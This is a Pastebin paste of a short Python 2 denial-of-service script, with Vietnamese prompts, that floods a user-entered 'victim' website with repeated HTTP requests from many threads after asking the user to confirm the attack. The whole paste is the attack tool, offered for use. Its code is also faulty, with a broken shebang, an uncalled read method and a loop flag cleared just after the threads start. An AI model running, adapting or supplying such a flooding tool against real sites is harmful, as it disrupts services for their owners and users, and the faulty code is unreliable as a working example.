Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/usr/bin/Python
- # -*- coding: utf-8 -*-
- import sys
- import time
- import threading
- import urllib
- time.sleep(3)
- a=1
- b=threading.Lock()
- class dos(threading.Thread):
- def __init__(self, host, threads):
- threading.Thread.__init__(self)
- self.host = host
- self.threads = threads
- def run(self):
- global a
- global b
- b.acquire()
- print "\n chuẩn bị -> {0}".format(self.threads)
- b.release()
- while 1 == a:
- try:
- urllib.urlopen(self.host).read
- try:
- urllib.urlopen(self.host).read
- except:
- pass
- except:
- pass
- b.acquire()
- print " số lượng {0}\n".format(self.threads)
- b.release()
- sys.exit()
- try:
- threads=input(" Số lượng(100000) : ")
- except NameError:
- sys.exit()
- while True:
- host=raw_input("\n victim : ")
- print "\n Đang kiểm tra website \n"
- time.sleep(2)
- try:
- urllib.urlopen(host)
- except IOError:
- print "\nKhông thể kết nối vào victim\n"
- sys.exit()
- else:
- break
- print "\n"*100
- c=raw_input(" Bấm Y để tấn công N để dừng ( Y/N ) > ")
- if c=="Y":
- pass
- elif c=="N":
- print "\n Thoát.\n"
- sys.exit()
- for A in xrange(threads):
- dos(host, A+1).start()
- a=0
- print " Tấn công thành công \n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement